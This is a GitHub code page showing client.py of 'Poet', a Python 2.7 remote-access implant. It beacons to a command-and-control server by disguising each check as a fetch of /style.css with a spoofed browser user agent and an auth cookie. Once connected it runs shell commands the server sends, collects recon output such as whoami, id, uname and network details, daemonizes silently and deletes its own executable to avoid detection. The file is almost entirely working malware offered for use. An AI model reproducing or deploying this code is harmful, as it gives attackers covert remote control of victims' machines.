-
Notifications
You must be signed in to change notification settings - Fork 55
/
client.py
258 lines (203 loc) · 7.09 KB
/
client.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
#!/usr/bin/python2.7
import os
import sys
import time
import base64
import socket
import os.path
import urllib2
import argparse
import subprocess as sp
import debug
import module
import config as CFG
from poetsocket import *
UA = 'Mozilla/5.0 (X11; U; Linux i686) Gecko/20071127 Firefox/2.0.0.11'
if __file__.endswith('.py'):
CLIENT_PATH = os.path.abspath(__file__)
else:
CLIENT_PATH = os.path.dirname(os.path.abspath(__file__))
class PoetSocketClient(PoetSocket):
def __init__(self, host, port):
self.s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
self.s.connect((host, port))
super(PoetSocketClient, self).__init__(self.s)
class PoetClient(object):
"""Core client functionality.
Receives commands from server, does bidding, responds.
Note: In any function with `inp' as a parameter, `inp' refers to the
command string sent from the server.
Attributes:
host: server ip address
port: server port
"""
def __init__(self, host, port):
self.host = host
self.port = port
self.s = None
def start(self):
"""Core Poet client functionality."""
self.s = PoetSocketClient(self.host, self.port)
while True:
try:
found = False
inp = self.s.recv()
if inp == 'fin':
found = True
break
for cmd, func in module.client_commands.iteritems():
if inp.split()[0] == cmd:
found = True
try:
func(self, inp)
except Exception as e:
self.s.send(str(e.args))
if not found:
self.s.send('Unrecognized')
except socket.error as e:
if e.message == 'too much data!':
self.s.send('posh : ' + e.message)
else:
raise
self.s.close()
def recon(self):
"""Executes recon commands."""
ipcmd = 'ip addr' if 'no' in self.cmd_exec('which ifconfig') else 'ifconfig'
exec_str = 'exec "whoami" "id" "uname -a" "lsb_release -a" "{}" "w" "who -a"'.format(ipcmd)
return self.execute(exec_str)
def selfdestruct(self):
"""Trampoline to execute real, global selfdestruct function. It's
global because it can be called in main. This exists so selfdestruct
can be implemented as a module.
"""
selfdestruct()
def get_args_interval(self):
"""Helper function for chint module.
"""
return args.interval
def set_args_interval(self, new_interval):
"""Helper function for chint module.
"""
args.interval = new_interval
def cmd_exec(self, cmd):
"""Light wrapper over subprocess.Popen() for executing a command,
blocking on it, and returning stdout/stderr
"""
return sp.Popen(cmd, stdout=sp.PIPE, stderr=sp.STDOUT,
shell=True).communicate()[0]
def get_args():
""" Parse arguments and return dictionary. """
parser = argparse.ArgumentParser()
if CFG.SERVER_IP is None:
parser.add_argument('server', metavar='IP', type=str, help='Poet Server')
if CFG.BEACON_INTERVAL is None:
parser.add_argument('interval', metavar='INTERVAL', type=int,
help='Beacon Interval, in seconds. Default: 600',
nargs='?', default=600)
parser.add_argument('-p', '--port')
parser.add_argument('--debug', action="store_true",
help="show debug messages. implies --no-daemon")
parser.add_argument('--no-daemon', action='store_true',
help="don't daemonize")
parser.add_argument('--no-selfdestruct', action='store_true',
help="don't selfdestruct")
return parser.parse_args()
def is_active(host, port):
"""Check if server is active.
Send HTTP GET for a fake /style.css which server will respond to if it's
alive.
Args:
host: server ip address
port: server port
Returns:
Boolean for server state.
"""
try:
url = 'http://{}:{}/style.css'.format(host, port)
headers = {
'User-Agent': UA,
'Cookie': 'c={};'.format(base64.b64encode(CFG.AUTH))
}
req = urllib2.Request(url, headers=headers)
f = urllib2.urlopen(req)
if f.code == 200:
return True
# shouldn't get here
return False
except urllib2.URLError:
return False
def selfdestruct():
"""Delete client executable from disk.
"""
if os.path.exists(CLIENT_PATH):
os.remove(CLIENT_PATH)
def daemonize():
"""Daemonize client.
http://www.jejik.com/articles/2007/02/a_simple_unix_linux_daemon_in_python/
"""
# already a daemon?
if os.getppid() == 1:
return
# break out of shell
try:
pid = os.fork()
if pid > 0:
sys.exit(0)
except OSError:
# silently faily
sys.exit(1)
# standard decoupling
os.setsid() # detach from terminal
os.umask(0022) # not really necessary, client isn't creating files
os.chdir('/') # so we don't block a fs from unmounting
# denature std fd's
si = file('/dev/null', 'r')
so = file('/dev/null', 'a+')
se = file('/dev/null', 'a+', 0)
os.dup2(si.fileno(), sys.stdin.fileno())
os.dup2(so.fileno(), sys.stdout.fileno())
os.dup2(se.fileno(), sys.stderr.fileno())
def main():
global args
args = get_args()
if CFG.SERVER_IP is not None:
args.server = CFG.SERVER_IP
if CFG.BEACON_INTERVAL is not None:
args.interval = CFG.BEACON_INTERVAL
# dynamically load all modules. needs to be before daemonize because it
# needs to be able to open itself to find modindex.txt in package.c
# daemonize changes the cwd so the open won't work.
module.load_modules()
# daemonize if we're not in --no-daemon or --debug mode
if not args.no_daemon and not args.debug:
daemonize()
# disable debug messages if we're not in --debug
if not args.debug:
debug.disable()
if not args.no_selfdestruct:
debug.info('Deleting client')
try:
selfdestruct()
except Exception as e:
# fatal
sys.exit(0)
HOST = args.server
PORT = int(args.port) if args.port else 443
debug.info(('Poet started with interval of {} seconds to port {}. Ctrl-c to exit').format(args.interval, PORT))
try:
while True:
if is_active(HOST, PORT):
debug.info('Server is active')
PoetClient(HOST, PORT).start()
else:
debug.warn('Server is inactive')
time.sleep(args.interval)
except KeyboardInterrupt:
print
debug.err('Poet terminated')
except Exception as e:
debug.warn('Fatal error: {}'.format(e.message))
debug.err('Poet terminated')
sys.exit(0)
if __name__ == '__main__':
main()